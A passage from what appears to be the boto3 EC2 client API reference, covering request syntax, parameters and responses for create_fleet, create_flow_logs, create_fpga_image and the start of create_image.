u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'InstanceIds': [ + 'string', + ], + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'Windows' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + * **Errors** _(list) --_ + + Information about the instances that could not be launched by the fleet. Valid only when **Type** is set to instant . + + * _(dict) --_ + + Describes the instances that could not be launched by the fleet. + + * **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + * **Lifecycle** _(string) --_ + + Indicates if the instance that could not be launched was a Spot Instance or On-Demand Instance. + + * **ErrorCode** _(string) --_ + + The error code that indicates why the instance could not be launched. For more information about error codes, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **ErrorMessage** _(string) --_ + + The error message that describes why the instance could not be launched. For more information about error messages, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **Instances** _(list) --_ + + Information about the instances that were launched by the fleet. Valid only when **Type** is set to instant . + + * _(dict) --_ + + Describes the instances that were launched by the fleet. + + * **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + * **Lifecycle** _(string) --_ + + Indicates if the instance that was launched is a Spot Instance or On-Demand Instance. + + * **InstanceIds** _(list) --_ + + The IDs of the instances. + + * _(string) --_ + * **InstanceType** _(string) --_ + + The instance type. + + * **Platform** _(string) --_ + + The value is Windows for Windows instances. Otherwise, the value is blank. + + +create_flow_logs(kwargs_) + +Creates one or more flow logs to capture information about IP traffic for a specific network interface, subnet, or VPC. + +Flow log data for a monitored network interface is recorded as flow log records, which are log events consisting of fields that describe the traffic flow. For more information, see [Flow Log Records](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html#flow-log-records) in the _Amazon Virtual Private Cloud User Guide_ . + +When publishing to CloudWatch Logs, flow log records are published to a log group, and each network interface has a unique log stream in the log group. When publishing to Amazon S3, flow log records for all of the monitored network interfaces are published to a single log file object that is stored in the specified bucket. + +For more information, see [VPC Flow Logs](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateFlowLogs) + +**Request Syntax** + +response = client.create_flow_logs( + DryRun=True|False, + ClientToken='string', + DeliverLogsPermissionArn='string', + LogGroupName='string', + ResourceIds=[ + 'string', + ], + ResourceType='VPC'|'Subnet'|'NetworkInterface', + TrafficType='ACCEPT'|'REJECT'|'ALL', + LogDestinationType='cloud-watch-logs'|'s3', + LogDestination='string', + LogFormat='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + MaxAggregationInterval=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . +* **DeliverLogsPermissionArn** (_string_) -- + + The ARN for the IAM role that permits Amazon EC2 to publish flow logs to a CloudWatch Logs log group in your account. + + If you specify LogDestinationType as s3 , do not specify DeliverLogsPermissionArn or LogGroupName . + +* **LogGroupName** (_string_) -- + + The name of a new or existing CloudWatch Logs log group where Amazon EC2 publishes your flow logs. + + If you specify LogDestinationType as s3 , do not specify DeliverLogsPermissionArn or LogGroupName . + +* **ResourceIds** (_list_) -- + + **[REQUIRED]** + + The ID of the subnet, network interface, or VPC for which you want to create a flow log. + + Constraints: Maximum of 1000 resources + + * _(string) --_ +* **ResourceType** (_string_) -- + + **[REQUIRED]** + + The type of resource for which to create the flow log. For example, if you specified a VPC ID for the ResourceId property, specify VPC for this property. + +* **TrafficType** (_string_) -- + + **[REQUIRED]** + + The type of traffic to log. You can log traffic that the resource accepts or rejects, or all traffic. + +* **LogDestinationType** (_string_) -- + + Specifies the type of destination to which the flow log data is to be published. Flow log data can be published to CloudWatch Logs or Amazon S3. To publish flow log data to CloudWatch Logs, specify cloud-watch-logs . To publish flow log data to Amazon S3, specify s3 . + + If you specify LogDestinationType as s3 , do not specify DeliverLogsPermissionArn or LogGroupName . + + Default: cloud-watch-logs + +* **LogDestination** (_string_) -- + + Specifies the destination to which the flow log data is to be published. Flow log data can be published to a CloudWatch Logs log group or an Amazon S3 bucket. The value specified for this parameter depends on the value specified for LogDestinationType . + + If LogDestinationType is not specified or cloud-watch-logs , specify the Amazon Resource Name (ARN) of the CloudWatch Logs log group. For example, to publish to a log group called my-logs , specify arn:aws:logs:us-east-1:123456789012:log-group:my-logs . Alternatively, use LogGroupName instead. + + If LogDestinationType is s3 , specify the ARN of the Amazon S3 bucket. You can also specify a subfolder in the bucket. To specify a subfolder in the bucket, use the following ARN format: bucket_ARN/subfolder_name/ . For example, to specify a subfolder named my-logs in a bucket named my-bucket , use the following ARN: arn:aws:s3:::my-bucket/my-logs/ . You cannot use AWSLogs as a subfolder name. This is a reserved term. + +* **LogFormat** (_string_) -- + + The fields to include in the flow log record, in the order in which they should appear. For a list of available fields, see [Flow Log Records](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html#flow-log-records) . If you omit this parameter, the flow log is created using the default format. If you specify this parameter, you must specify at least one field. + + Specify the fields using the ${field-id} format, separated by spaces. For the AWS CLI, use single quotation marks (' ') to surround the parameter value. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the flow logs. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id94)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id96)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **MaxAggregationInterval** (_integer_) -- + + The maximum interval of time during which a flow of packets is captured and aggregated into a flow log record. You can specify 60 seconds (1 minute) or 600 seconds (10 minutes). + + When a network interface is attached to a [Nitro-based instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) , the aggregation interval is always 60 seconds or less, regardless of the value that you specify. + + Default: 600 + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientToken': 'string', + 'FlowLogIds': [ + 'string', + ], + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. + + * **FlowLogIds** _(list) --_ + + The IDs of the flow logs. + + * _(string) --_ + * **Unsuccessful** _(list) --_ + + Information about the flow logs that could not be created successfully. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +create_fpga_image(kwargs_) + +Creates an Amazon FPGA Image (AFI) from the specified design checkpoint (DCP). + +The create operation is asynchronous. To verify that the AFI is ready for use, check the output logs. + +An AFI contains the FPGA bitstream that is ready to download to an FPGA. You can securely deploy an AFI on multiple FPGA-accelerated instances. For more information, see the [AWS FPGA Hardware Development Kit](https://github.com/aws/aws-fpga/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateFpgaImage) + +**Request Syntax** + +response = client.create_fpga_image( + DryRun=True|False, + InputStorageLocation={ + 'Bucket': 'string', + 'Key': 'string' + }, + LogsStorageLocation={ + 'Bucket': 'string', + 'Key': 'string' + }, + Description='string', + Name='string', + ClientToken='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InputStorageLocation** (_dict_) -- + + **[REQUIRED]** + + The location of the encrypted design checkpoint in Amazon S3. The input must be a tarball. + + * **Bucket** _(string) --_ + + The name of the S3 bucket. + + * **Key** _(string) --_ + + The key. + +* **LogsStorageLocation** (_dict_) -- + + The location in Amazon S3 for the output logs. + + * **Bucket** _(string) --_ + + The name of the S3 bucket. + + * **Key** _(string) --_ + + The key. + +* **Description** (_string_) -- A description for the AFI. +* **Name** (_string_) -- A name for the AFI. +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . +* **TagSpecifications** (_list_) -- + + The tags to apply to the FPGA image during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id99)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id101)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImageId': 'string', + 'FpgaImageGlobalId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **FpgaImageId** _(string) --_ + + The FPGA image identifier (AFI ID). + + * **FpgaImageGlobalId** _(string) --_ + + The global FPGA image identifier (AGFI ID). + + +create_image(kwargs_) + +Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. + +If you customized your instance with instance store volumes or EBS volumes in addition to the root device volume, the new AMI contains block device mapping information for those volumes. When you launch an instance from this new AMI, the instance automatically launches with those additional volumes. + +For more information, see [Creating Amazon EBS-Backed Linux AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami-ebs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateImage) + +**Request Syntax** + +response = client.create_image( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + InstanceId='string', + Name='string', + NoReboot=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mappings. This parameter cannot be used to modify the encryption status of existing volumes or snapshots. To create an AMI with encrypted snapshots, use the CopyImage action. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance 